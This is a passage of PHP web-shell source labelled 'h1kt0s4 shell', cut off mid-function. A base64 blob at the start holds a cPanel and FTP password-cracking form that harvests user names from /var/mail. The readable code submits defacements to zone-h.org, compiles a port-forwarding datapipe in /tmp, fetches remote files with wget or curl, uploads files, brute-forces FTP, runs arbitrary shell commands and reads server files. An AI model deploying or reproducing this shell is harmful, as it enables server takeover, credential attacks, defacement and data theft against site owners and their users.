cGFzc3dvcmRzJ107CiR0YXJnZXQ9JF9SRVFVRVNUWyd0YXJnZXQnXTsKJGNyYWNrdHlwZT0kX1JF
UVVFU1RbJ2NyYWNrdHlwZSddOwoKCmlmKCR0YXJnZXQgPT0gIiIpewokdGFyZ2V0ID0gImxvY2Fs
aG9zdCI7Cn0KCj8+CjxodG1sPgo8aGVhZD4KPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1MYW5n
dWFnZSIgY29udGVudD0iZW4tdXMiPgo8L2hlYWQ+Cjx0aXRsZT5DcGFuZWwgKyBGVFAgQ3JhY2tl
cjwvdGl0bGU+Cjxib2R5IHRleHQ9IiMwMEZGMDAiIGJnY29sb3I9IiMwMDAwMDAiIHZsaW5rPSIj
MDA4MDAwIiBsaW5rPSIjMDA4MDAwIiBhbGluaz0iIzAwODAwMCI+CjxkaXYgYWxpZ249ImNlbnRl
ciI+Cjxmb3JtIG1ldGhvZD0iUE9TVCIgc3R5bGU9ImJvcmRlcjogMXB4IHNvbGlkICMwMDAwMDAi
Pgo8dGFibGUgd2lkdGg9IjY3JSIgc3R5bGU9ImJvcmRlcjogMnB4IGRhc2hlZCAjMUQxRDFEOyBi
YWNrZ3JvdW5kLWNvbG9yOiAjMDAwMDAwOyBjb2xvcjojQzBDMEMwIj4KPHRyPjx0ZCBhbGlnbj1j
ZW50ZXI+CiA8Zm9udCBmYWNlPSJDb3VyaWVyIE5ldyIgc2l6ZT00IGNvbG9yPXllbGxvdz5DcGFu
ZWwgKyBGVFAgQ3JhY2tlcjwvZm9udD4KPC90ZD48L3RyPgo8L3RhYmxlPgo8YnIgLz4KPD9waHAK
ZnVuY3Rpb24gZnRwX2NoZWNrKCRob3N0LCR1c2VyLCRwYXNzLCR0aW1lb3V0KXsKJGNoID0gY3Vy
bF9pbml0KCk7CmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICJmdHA6Ly8kaG9zdCIpOwpj
dXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOwpjdXJsX3NldG9wdCgk
Y2gsIENVUkxPUFRfSFRUUEFVVEgsIENVUkxBVVRIX0JBU0lDKTsKY3VybF9zZXRvcHQoJGNoLCBD
VVJMT1BUX0ZUUExJU1RPTkxZLCAxKTsKY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VTRVJQV0Qs
ICIkdXNlcjokcGFzcyIpOwpjdXJsX3NldG9wdCAoJGNoLCBDVVJMT1BUX0NPTk5FQ1RUSU1FT1VU
LCAkdGltZW91dCk7CmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GQUlMT05FUlJPUiwgMSk7CiRk
YXRhID0gY3VybF9leGVjKCRjaCk7CmlmICggY3VybF9lcnJubygkY2gpID09IDI4ICkgeyBwcmlu
dCAiPGI+PGZvbnQgZmFjZT1cIlZlcmRhbmFcIiBzdHlsZT1cImZvbnQtc2l6ZTogOXB0XCI+Cjxm
b250IGNvbG9yPVwiI0FBMDAwMFwiPkVycm9yIDo8L2ZvbnQ+IDxmb250IGNvbG9yPVwiIzAwODAw
MFwiPkNvbm5lY3Rpb24gVGltZW91dApQbGVhc2UgQ2hlY2sgVGhlIFRhcmdldCBIb3N0bmFtZSAu
PC9mb250PjwvZm9udD48L2I+PC9wPiI7ZXhpdDt9CmVsc2VpZiAoIGN1cmxfZXJybm8oJGNoKSA9
PSAwICl7CnByaW50ICI8dGFibGUgd2lkdGg9JzY3JScgc3R5bGU9J2JvcmRlcjogMnB4IGRhc2hl
ZCAjMUQxRDFEOyBiYWNrZ3JvdW5kLWNvbG9yOiAjMDAwMDAwOyBjb2xvcjojQzBDMEMwJz48dHI+
PHRkIGFsaWduPWNlbnRlcj48Yj48Zm9udCBmYWNlPVwiVGFob21hXCIgY29sb3I9XCIjRkYwMDAw
XCI+WytdPC9mb250Pjxmb250PgpDcmFja2luZyBTdWNjZXNzIFdpdGggVXNlcm5hbWUgKDwvZm9u
dD48Zm9udCBjb2xvcj1cIiNGRjAwMDBcIj4kdXNlcjwvZm9udD48Zm9udD4pIGFuZCBQYXNzd29y
ZCAoPC9mb250Pjxmb250IGNvbG9yPVwiI0ZGMDAwMFwiPiRwYXNzPC9mb250Pjxmb250IGNvbG9y
PVwiIzAwODAwMFwiPik8L2ZvbnQ+PC9iPjwvdGQ+PC90cj48L3RhYmxlPiI7fWN1cmxfY2xvc2Uo
JGNoKTt9CmZ1bmN0aW9uIGNwYW5lbF9jaGVjaygkaG9zdCwkdXNlciwkcGFzcywkdGltZW91dCl7
CiRjaCA9IGN1cmxfaW5pdCgpOwpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAiaHR0cDov
LyRob3N0OjIwODIiKTsKY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCAx
KTsKY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hUVFBBVVRILCBDVVJMQVVUSF9CQVNJQyk7CmN1
cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VU0VSUFdELCAiJHVzZXI6JHBhc3MiKTsKY3VybF9zZXRv
cHQgKCRjaCwgQ1VSTE9QVF9DT05ORUNUVElNRU9VVCwgJHRpbWVvdXQpOwpjdXJsX3NldG9wdCgk
Y2gsIENVUkxPUFRfRkFJTE9ORVJST1IsIDEpOwokZGF0YSA9IGN1cmxfZXhlYygkY2gpOwppZiAo
IGN1cmxfZXJybm8oJGNoKSA9PSAyOCApIHsgcHJpbnQgIjxiPjxmb250IGZhY2U9XCJWZXJkYW5h
XCIgc3R5bGU9XCJmb250LXNpemU6IDlwdFwiPgo8Zm9udCBjb2xvcj1cIiNBQTAwMDBcIj5FcnJv
ciA6PC9mb250PiA8Zm9udCBjb2xvcj1cIiMwMDgwMDBcIj5Db25uZWN0aW9uIFRpbWVvdXQKUGxl
YXNlIENoZWNrIFRoZSBUYXJnZXQgSG9zdG5hbWUgLjwvZm9udD48L2ZvbnQ+PC9iPjwvcD4iO2V4
aXQ7fQplbHNlaWYgKCBjdXJsX2Vycm5vKCRjaCkgPT0gMCApewpwcmludCAiPHRhYmxlIHdpZHRo
PSc2NyUnIHN0eWxlPSdib3JkZXI6IDJweCBkYXNoZWQgIzFEMUQxRDsgYmFja2dyb3VuZC1jb2xv
cjogIzAwMDAwMDsgY29sb3I6I0MwQzBDMCc+PHRyPjx0ZCBhbGlnbj1jZW50ZXI+PGI+PGZvbnQg
ZmFjZT1cIlRhaG9tYVwiIGNvbG9yPVwiI0ZGMDAwMFwiPlsrXTwvZm9udD48Zm9udD4KQ3JhY2tp
bmcgU3VjY2VzcyBXaXRoIFVzZXJuYW1lICg8L2ZvbnQ+PGZvbnQgY29sb3I9XCIjRkYwMDAwXCI+
JHVzZXI8L2ZvbnQ+PGZvbnQ+KSBhbmQgUGFzc3dvcmQgKDwvZm9udD48Zm9udCBjb2xvcj1cIiNG
RjAwMDBcIj4kcGFzczwvZm9udD48Zm9udCBjb2xvcj1cIiMwMDgwMDBcIj4pPC9mb250PjwvYj48
L3RkPjwvdHI+PC90YWJsZT4iO31jdXJsX2Nsb3NlKCRjaCk7fQppZihpc3NldCgkc3VibWl0KSAm
JiAhZW1wdHkoJHN1Ym1pdCkpewppZihlbXB0eSgkdXNlcnMpICYmIGVtcHR5KCRwYXNzKSl7IHBy
aW50ICI8cD48Zm9udCBmYWNlPVwiVGFob21hXCIgc2l6ZT1cIjJcIj48Yj48Zm9udCBjb2xvcj1c
IiNGRjAwMDBcIj5FcnJvciA6IDwvZm9udD5QbGVhc2UgQ2hlY2sgVGhlIFVzZXJzIG9yIFBhc3N3
b3JkIExpc3QgRW50cnkgLiAuIC48L2I+PC9mb250PjwvcD4iOyBleGl0OyB9CmlmKGVtcHR5KCR1
c2VycykpeyBwcmludCAiPHA+PGZvbnQgZmFjZT0nVGFob21hJyBzaXplPScyJz48Yj48Zm9udCBj
b2xvcj0nI0ZGMDAwMCc+RXJyb3IgOiA8L2ZvbnQ+UGxlYXNlIENoZWNrIFRoZSBVc2VycyBMaXN0
IEVudHJ5IC4gLiAuPC9iPjwvZm9udD48L3A+IjsgZXhpdDsgfQppZihlbXB0eSgkcGFzcykgKXsg
cHJpbnQgIjxwPjxmb250IGZhY2U9J1RhaG9tYScgc2l6ZT0nMic+PGI+PGZvbnQgY29sb3I9JyNG
RjAwMDAnPkVycm9yIDogPC9mb250PlBsZWFzZSBDaGVjayBUaGUgUGFzc3dvcmQgTGlzdCBFbnRy
eSAuIC4gLjwvYj48L2ZvbnQ+PC9wPiI7IGV4aXQ7IH07CiR1c2VybGlzdD1leHBsb2RlKCJcbiIs
JHVzZXJzKTsKJHBhc3NsaXN0PWV4cGxvZGUoIlxuIiwkcGFzcyk7CnByaW50ICI8Yj48Zm9udCBm
YWNlPVwiVGFob21hXCIgc3R5bGU9XCJmb250LXNpemU6IDlwdFwiIGNvbG9yPVwiIzAwODAwMFwi
Plt+XSM8L2ZvbnQ+PGZvbnQgZmFjZT1cIlRhaG9tYVwiIHN0eWxlPVwiZm9udC1zaXplOiA5cHRc
IiBjb2xvcj1cIiNGRjAwMDBcIj4KQ3JhY2tpbmcgUHJvY2VzcyBTdGFydGVkLCBQbGVhc2UgV2Fp
dCAuLi48L2ZvbnQ+PC9iPjxicj48YnI+IjsKZm9yZWFjaCAoJHVzZXJsaXN0IGFzICR1c2VyKSB7
CiRwdXJldXNlciA9IHRyaW0oJHVzZXIpOwpmb3JlYWNoICgkcGFzc2xpc3QgYXMgJHBhc3N3b3Jk
ICkgewokcHVyZXBhc3MgPSB0cmltKCRwYXNzd29yZCk7CmlmKCRjcmFja3R5cGUgPT0gImZ0cCIp
ewpmdHBfY2hlY2soJHRhcmdldCwkcHVyZXVzZXIsJHB1cmVwYXNzLCRjb25uZWN0X3RpbWVvdXQp
Owp9CmlmICgkY3JhY2t0eXBlID09ICJjcGFuZWwiKQp7CmNwYW5lbF9jaGVjaygkdGFyZ2V0LCRw
dXJldXNlciwkcHVyZXBhc3MsJGNvbm5lY3RfdGltZW91dCk7Cn0KfQp9Cn0KPz48PwogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICBpZigkX1BPU1RbJ2VudGVyJ10pewplY2hvICI8Zm9y
bSBtZXRob2Q9UE9TVCBhY3Rpb249Jyc+PHRhYmxlIHdpZHRoPSc2NyUnIHN0eWxlPSdib3JkZXI6
IDJweCBkYXNoZWQgIzFEMUQxRDsgYmFja2dyb3VuZC1jb2xvcjogIzAwMDAwMDsgY29sb3I6I0Mw
QzBDMCc+CiAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD4g
PGJyIC8+CiAgICAgICAgPHAgYWxpZ249J2NlbnRlcic+PGI+PGZvbnQgY29sb3I9JyNGRjAwMDAn
PgogICAgICAgICAgICAgICAgPHNwYW4gbGFuZz0nZW4tdXMnPlNlcnZlcidzIElQPC9zcGFuPiA6
PC9mb250Pjxmb250IGZhY2U9J0FyaWFsJz4KICAgICAgICA8L2ZvbnQ+PGZvbnQgZmFjZT0nQXJp
YWwnIGNvbG9yPScjQ0MwMDAwJz4KICAgICAgICA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0ndGFy
Z2V0JyBzaXplPScxNicgdmFsdWU9JHRhcmdldCBzdHlsZT0nYm9yZGVyOiAycHggZGFzaGVkICMx
RDFEMUQ7IGJhY2tncm91bmQtY29sb3I6ICMwMDAwMDA7IGNvbG9yOiNDMEMwQzAnPjwvZm9udD48
L2I+PC9wPgogICAgICAgIDxwIGFsaWduPSdjZW50ZXInPjxiPjxmb250IGNvbG9yPScjMDA4MDAw
JyBmYWNlPSdUYWhvbWEnIHNpemU9JzInPiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZu
YnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNw
OyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZu
YnNwOyA8L2ZvbnQ+PC9iPjwvcD4KICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBhbGlnbj0n
Y2VudGVyJz4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGFibGUgd2lkdGg9JzU1
JScgc3R5bGU9J2JvcmRlcjogMnB4IGRhc2hlZCAjMUQxRDFEOyBiYWNrZ3JvdW5kLWNvbG9yOiAj
MDAwMDAwOyBjb2xvcjojQzBDMEMwJz4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgPHRkIGFsaWduPSdjZW50ZXInPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICA8c3BhbiBsYW5nPSdlbi11cyc+PGZvbnQgY29sb3I9JyNGRjAwMDAnPjxiPlVzZXJuYW1l
PC9iPjwvZm9udD48L3NwYW4+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgPHRkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICA8cCBhbGlnbj0nY2VudGVyJz4KICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgPHNwYW4gbGFuZz0nZW4tdXMnPjxmb250IGNvbG9yPScjRkYwMDAwJz48Yj5Q
YXNzd29yZDwvYj48L2ZvbnQ+PC9zcGFuPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdGFi
bGU+CgogICAgICAgICAgICAgICAgICAgICAgICA8cCBhbGlnbj0nY2VudGVyJz4mbmJzcDs8dGV4
dGFyZWEgcm93cz0nMjAnIG5hbWU9J3VzZXJzJyBjb2xzPScyNScgc3R5bGU9J2JvcmRlcjogMnB4
IGRhc2hlZCAjMUQxRDFEOyBiYWNrZ3JvdW5kLWNvbG9yOiAjMDAwMDAwOyBjb2xvcjojQzBDMEMw
Jz4iOwoKICAgICAgc3lzdGVtKCdscyAvdmFyL21haWwnKTsKCmVjaG8gIjwvdGV4dGFyZWE+PHRl
eHRhcmVhIHJvd3M9JzIwJyBuYW1lPSdwYXNzd29yZHMnIGNvbHM9JzI1JyBzdHlsZT0nYm9yZGVy
OiAycHggZGFzaGVkICMxRDFEMUQ7IGJhY2tncm91bmQtY29sb3I6ICMwMDAwMDA7IGNvbG9yOiND
MEMwQzAnPjEyMzEyM1xuMTIzNDU2XG4xMjM0NTY3XG4xMjM0NTY3OFxuMTIzNDU2Nzg5XG4xNTkx
NTlcbjExMjIzM1xuMzMyMjExXG4xNDc4OTYzXG4xNDc4OTYzLlxuY3BhbmVsXG5wYXNzd29yZFxu
dXNlclxucGFzc3dkXG5wYXNzd29yZHNcbjE1OTM1N1xuMzU3OTUxXG4xMTQ0NzdcbnBhc3NcblBh
c3N3b3JkXG5QYXNzV29yZFxucGFzczQ0MzMyMjExXG5hc2RmcmV3cVxuYWRtaW5pXG5hZG1pbjEx
MVxucWF3c2VkcmZcbjFxdzIzZXI0XG4xcWFzdzJcbnBhc3NhYXBcbjwvdGV4dGFyZWE+PGJyPgog
ICAgICAgIDxicj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxiPiA8Zm9udCBmb250
IGNvbG9yPScjRkYwMDAwJz4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgR3Vlc3Mgb3B0aW9uczwvZm9udD48L2I+PGZvbnQgc3R5bGU9J2ZvbnQtc2l6ZTog
MTJwdDsnIHNpemU9Jy0zJyBmYWNlPSdWZXJkYW5hJz48c3BhbiBzdHlsZT0nZm9udC1zaXplOiA5
cHQ7Jz4mbmJzcDsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgPGZvbnQgZmFjZT0nVGFob21hJz4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgPGlucHV0IG5hbWU9J2NyYWNrdHlwZScgdmFsdWU9J2NwYW5lbCcgc3R5
bGU9J2ZvbnQtd2VpZ2h0OiA3MDA7JyBjaGVja2VkIHR5cGU9J3JhZGlvJz48L2ZvbnQ+PC9zcGFu
PjwvZm9udD48Yj48Zm9udCBzaXplPScyJyBmYWNlPSdUYWhvbWEnPgogICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDcGFuZWw8L2ZvbnQ+PGZvbnQgc2l6ZT0n
MicgY29sb3I9JyNjYzAwMDAnIGZhY2U9J1RhaG9tYSc+CiAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgIDwvZm9udD48Zm9udCBzaXplPScyJyBjb2xvcj0nI0ZG
RkZGRicgZmFjZT0nVGFob21hJz4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgKDIwODIpPC9mb250PjwvYj48Zm9udCBzaXplPScyJyBmYWNlPSdUYWhvbWEn
PjxiPiA8L2I+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
IDwvZm9udD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
PGZvbnQgc3R5bGU9J2ZvbnQtc2l6ZTogMTJwdDsnIHNpemU9Jy0zJyBmYWNlPSdWZXJkYW5hJz4K
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHNwYW4gc3R5
bGU9J2ZvbnQtc2l6ZTogOXB0Oyc+PGZvbnQgZmFjZT0nVGFob21hJz4KICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IG5hbWU9J2NyYWNrdHlwZScg
dmFsdWU9J2Z0cCcgc3R5bGU9J2ZvbnQtd2VpZ2h0OiA3MDA7JyB0eXBlPSdyYWRpbyc+PC9mb250
Pjwvc3Bhbj48L2ZvbnQ+PGZvbnQgc3R5bGU9J2ZvbnQtd2VpZ2h0OiA3MDA7JyBzaXplPScyJyBm
YWNlPSdUYWhvbWEnPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICA8L2ZvbnQ+PHNwYW4gc3R5bGU9J2ZvbnQtd2VpZ2h0OiA3MDA7Jz4KICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGZvbnQgc2l6ZT0nMicgZmFjZT0n
VGFob21hJz5GdHAgPC9mb250PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICA8Zm9udCBzaXplPScyJyBjb2xvcj0nI0ZGRkZGRicgZmFjZT0nVGFob21hJz4K
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgKDIxKTwvZm9u
dD48L3NwYW4+PC9wPgogICAgICAgIDxwIGFsaWduPSdjZW50ZXInPjxvcHRpb24gdmFsdWU9J25h
bWUnPiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOwogICAgICAgIDxpbnB1dCB0eXBlPSdzdWJtaXQn
IHZhbHVlPScgICBDcmFjayBpdCAhICAgJyBuYW1lPSdzdWJtaXQnIHN0eWxlPSdjb2xvcjogI0ZG
MDAwMDsgZm9udC13ZWlnaHQ6IGJvbGQ7IGJvcmRlcjogMXB4IGRhc2hlZCAjMzMzMzMzOyBiYWNr
Z3JvdW5kLWNvbG9yOiAjMDAwMDAwJz48L3A+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+
CiAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgIDwvdGFibGU+CgogICAgPHAgYWxpZ249J2Nl
bnRlcic+PC90ZD4KICA8L3RyPgogIDwvZm9ybT4KCiAgIjtkaWUoKTsKfQo/PgogPHRhYmxlIHdp
ZHRoPSc2NyUnIHN0eWxlPSdib3JkZXI6IDJweCBkYXNoZWQgIzFEMUQxRDsgYmFja2dyb3VuZC1j
b2xvcjogIzAwMDAwMDsgY29sb3I6I0MwQzBDMCc+Cjx0cj48dGQgYWxpZ249Y2VudGVyPjxmb3Jt
IG1ldGhvZD1QT1NUIGFjdGlvbj0nJyBhbGlnbj1jZW50ZXI+PGJyIC8+PGlucHV0IHR5cGU9c3Vi
bWl0IG5hbWU9ZW50ZXIgdmFsdWU9IiBFbnRlciAiIHN0eWxlPSdjb2xvcjogI0ZGMDAwMDsgZm9u
dC13ZWlnaHQ6IGJvbGQ7IGJvcmRlcjogMXB4IGRhc2hlZCAjMzMzMzMzOyBiYWNrZ3JvdW5kLWNv
bG9yOiAjMDAwMDAwJyAvPjwvZm9ybT48L3RkPjwvdHI+PC90YWJsZT48YnIgLz4K'));
echo '</table>';
die();
}
if(isset($_GET['zone']))
{
ob_start();
set_time_limit(0);
error_reporting(0);
echo '<title>h1kt0s4</title><center><form method="post" action="">
name:=> <input type="text" name="defacer"><br><br>
<textarea name="siteler" cols="30" rows="20"></textarea><br>
<input type="submit" value="SEND">
</form></center>';
$defacer = $_POST['defacer'];
$siteler = explode("\r\n",$_POST['siteler']);
foreach($siteler as $yenisiteler){
$trim=trim($yenisiteler);
$sil = ereg_replace("http","",$trim);
$sil2 = ereg_replace("://","",$sil);
$ekle = "http%3A%2F%2F$sil2";
$curl = curl_init();
$header[] = "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";
$header[] = "Cache-Control: private, max-age=0";
$header[] = "Connection: keep-alive";
$header[] = "Keep-Alive: 115";
$header[] = "Accept-Charset: ISO-8859-9,utf-8;q=0.7,*;q=0.7";
$header[] = "Accept-Language: tr-TR,tr;q=0.8,en-us;q=0.5,en;q=0.3";
$header[] = "Pragma: ";
$git = "http://zone-h.org/notify/single";
curl_setopt($curl, CURLOPT_URL,$git);
curl_setopt($curl, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; tr; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729)');
curl_setopt($curl, CURLOPT_HTTPHEADER, $header);
curl_setopt($curl, CURLOPT_REFERER, 'http://zone-h.org/notify/single');
curl_setopt($curl, CURLOPT_ENCODING, 'gzip,deflate');
curl_setopt($curl, CURLOPT_POST,1);
curl_setopt($curl, CURLOPT_POSTFIELDS,"defacer=$defacer&domain1=$ekle&hackmode=30&reason=1");
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_TIMEOUT, 10);
$exec = curl_exec($curl);
if(! $exec==""){
echo '<center> Ok..<br></center>';
ob_flush();
flush();
}
}
echo '<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
<title>h1kt0s4 shell</title>
<STYLE>
tr {
BORDER-RIGHT: black 1px solid;
BORDER-TOP: black 1px solid;
BORDER-LEFT: black 1px solid;
BORDER-BOTTOM: black 1px solid;
BORDER-COLOR: black;
color: silver;
}
td {
BORDER-RIGHT: black 1px solid;
BORDER-TOP: black 1px solid;
BORDER-LEFT: black 1px solid;
BORDER-BOTTOM: black 1px solid;
BORDER-COLOR: black;
background-color:black;
color: white;
}
.table1 {
BORDER: 0px;
BORDER-COLOR: #333333;
BACKGROUND-COLOR: black;
color: white;
}
.td1 {
BORDER: 0px;
BORDER-COLOR: #333333;
font: 7pt Verdana;
BACKGROUND-COLOR: black;
color: green;
}
.tr1 {
BORDER: 0px;
BORDER-COLOR: #333333;
color: #50AA20;
}
table {
BORDER: #eeeeee 1px outset;
BORDER-COLOR: #333333;
BACKGROUND-COLOR: #131313;
color: #50AA20;
}
input {
border : solid 1px;
border-color : #2D2D2D #252525 #252525 #252525;
BACKGROUND-COLOR: black;
font: 8pt Verdana;
color: red;
}
select {
BORDER-RIGHT: #ffffff 1px solid;
BORDER-TOP: #999999 1px solid;
BORDER-LEFT: #999999 1px solid;
BORDER-BOTTOM: #ffffff 1px solid;
BORDER-COLOR: #333333;
BACKGROUND-COLOR: #131313;
font: 8pt Verdana;
color: white;;
}
submit {
BORDER: buttonhighlight 2px outset;
BACKGROUND-COLOR: #131313;
width: 30%;
color: white;
}
textarea {
BORDER-RIGHT: #ffffff 1px solid;
BORDER-TOP: #999999 1px solid;
BORDER-LEFT: #999999 1px solid;
BORDER-BOTTOM: #ffffff 1px solid;
BORDER-COLOR: #333333;
BACKGROUND-COLOR: black;
font: Fixedsys bold;
color: silver;
}
BODY {
SCROLLBAR-ARROW-COLOR: #444444;
SCROLLBAR-BASE-COLOR: #444444;
margin: 1px;
color: #50AA20;
background-color: #131313;
}
';}
if (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !empty($_POST['remote_port']) && ($_POST['use']=="C"))
{
cf("/tmp/dpc.c",$datapipe_c);
$blah = ex("gcc -o /tmp/dpc /tmp/dpc.c");
@unlink("/tmp/dpc.c");
$blah = ex("/tmp/dpc ".$_POST['local_port']." ".$_POST['remote_port']." ".$_POST['remote_host']." &");
$_POST['cmd']="ps -aux | grep dpc";
}
if (!empty($_POST['alias']) && isset($aliases[$_POST['alias']])) { $_POST['cmd'] = $aliases[$_POST['alias']]; }
if (!empty($HTTP_POST_FILES['userfile']['name']))
{
if(!empty($_POST['new_name'])) { $nfn = $_POST['new_name']; }
else { $nfn = $HTTP_POST_FILES['userfile']['name']; }
@copy($HTTP_POST_FILES['userfile']['tmp_name'],
$_POST['dir']."/".$nfn)
or print("<font color=red face=Fixedsys><div align=center>Error uploading file ".$HTTP_POST_FILES['userfile']['name']."</div></font>");
}
if (!empty($_POST['with']) && !empty($_POST['rem_file']) && !empty($_POST['loc_file']))
{
switch($_POST['with'])
{
case wget:
$_POST['cmd'] = which('wget')." ".$_POST['rem_file']." -O ".$_POST['loc_file']."";
break;
case fetch:
$_POST['cmd'] = which('fetch')." -o ".$_POST['loc_file']." -p ".$_POST['rem_file']."";
break;
case lynx:
$_POST['cmd'] = which('lynx')." -source ".$_POST['rem_file']." > ".$_POST['loc_file']."";
break;
case links:
$_POST['cmd'] = which('links')." -source ".$_POST['rem_file']." > ".$_POST['loc_file']."";
break;
case GET:
$_POST['cmd'] = which('GET')." ".$_POST['rem_file']." > ".$_POST['loc_file']."";
break;
case curl:
$_POST['cmd'] = which('curl')." ".$_POST['rem_file']." -o ".$_POST['loc_file']."";
break;
}
}
if(!empty($_POST['cmd']) && ($_POST['cmd']=="ftp_file_up" || $_POST['cmd']=="ftp_file_down"))
{
list($ftp_server,$ftp_port) = split(":",$_POST['ftp_server_port']);
if(empty($ftp_port)) { $ftp_port = 21; }
$connection = @ftp_connect ($ftp_server,$ftp_port,10);
if(!$connection) { err(3); }
else
{
if(!@ftp_login($connection,$_POST['ftp_login'],$_POST['ftp_password'])) { err(4); }
else
{
if($_POST['cmd']=="ftp_file_down") { if(chop($_POST['loc_file'])==$dir) { $_POST['loc_file']=$dir.((!$unix)?('\\'):('/')).basename($_POST['ftp_file']); } @ftp_get($connection,$_POST['loc_file'],$_POST['ftp_file'],$_POST['mode']); }
if($_POST['cmd']=="ftp_file_up") { @ftp_put($connection,$_POST['ftp_file'],$_POST['loc_file'],$_POST['mode']); }
}
}
@ftp_close($connection);
$_POST['cmd'] = "";
}
if(!empty($_POST['cmd']) && $_POST['cmd']=="ftp_brute")
{
list($ftp_server,$ftp_port) = split(":",$_POST['ftp_server_port']);
if(empty($ftp_port)) { $ftp_port = 21; }
$connection = @ftp_connect ($ftp_server,$ftp_port,10);
if(!$connection) { err(3); $_POST['cmd'] = ""; }
else if(!$users=get_users()) { echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#cccccc><tr><td bgcolor=#000000><font color=red face=tahoma size=-2><div align=center><b>".$lang[$language.'_text96']."</b></div></font></td></tr></table>"; $_POST['cmd'] = ""; }
@ftp_close($connection);
}
echo $table_up3;
if (empty($_POST['cmd'])&&!$safe_mode) { $_POST['cmd']=(!$unix)?("dir"):("ls -lia"); }
else if(empty($_POST['cmd'])&&$safe_mode){ $_POST['cmd']="safe_dir"; }
echo $font.$lang[$language.'_text1'].": <b>".$_POST['cmd']."</b></font></td></tr><tr><td><b><div align=center><textarea name=report cols=121 rows=15>";
if ($method=="file") {
if (@file($file)) {
$filer = file($file);
foreach ($filer as $a) { echo $a; }
} else {
echo "<script> alert(\"unable to read file: $file using: file\"); </script>";
}
}
if ($method=="fread") {
if (@fopen($file, 'r')) {
$fp = fopen($file, 'r');
$string = fread($fp, filesize($file));
echo "<pre>";
echo $string;
echo "</pre>";
} else {
echo "<script> alert(\"unable to read file: $file using: fread\"); </script>";
}
}
if ($method=="show_source") {
if (show_source($file)) {
echo "<pre>";
echo show_source($file);
echo "</pre>";
} else {
echo "<script> alert(\"unable to read file: $file using: show_source\"); </script>";
}
}
if ($method=="readfile") {
echo "<pre>";
if (readfile($file)) {
//echo "<pre>";
//echo readfile($file);
echo "</pre>";
} else {
echo "</pre>";
echo "<script> alert(\"unable to read file: $file using: readfile\"); </script>";
}
}
function dozip1($link,$file)
{
$fp = @fopen($link,"r");
while(!feof($fp))
{
